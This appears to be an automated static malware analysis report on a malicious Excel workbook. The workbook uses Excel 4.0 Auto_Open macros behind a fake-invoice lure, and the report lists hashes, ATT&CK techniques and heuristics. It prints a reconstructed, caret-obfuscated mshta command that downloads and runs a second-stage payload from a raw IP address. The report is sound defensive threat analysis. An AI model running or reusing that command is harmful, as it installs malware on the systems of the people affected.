Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 525cad864e0ca145…

MALICIOUS

Office (OLE) / .XLSX

66.2 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: 70c891df25a49b5e6d636b667dd38332 SHA-1: aecc372cdd162eef77a90dd39af4530542f7fb22 SHA-256: 525cad864e0ca1450fc2e30caefab55372398cff8f5f3822566022ee0a652345
108 Risk Score

Malware Insights

MITRE ATT&CK
T1566.002 Spearphishing Attachment T1204.002 User Execution: Malicious File T1059.005 PowerShell

The sample uses Excel 4.0 macros with an Auto_Open entry to execute a command. The document body and heuristics indicate a lure to enable macros, presenting a fake invoice. The reconstructed command 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.85.100/oo/oo.html' suggests the macro downloads and executes a second-stage payload from the specified URL. A similar command and URL were also found.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • VBA project contains no executable statements low OLE_VBA_MACROS
    Document contains a VBA project, but extracted modules only contain attributes/options/comments and no executable statements.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
de81f8962b42018d50fc3f858c62f78dac7c27a8d9c6bc0ba2b69c5b8c8e6d84		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1240 bytes
macros.bas
faef16cfc3b69e6dacc60198a7ccc61c4bb61c8632529929cd74db2189ccdc82		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 906 bytes

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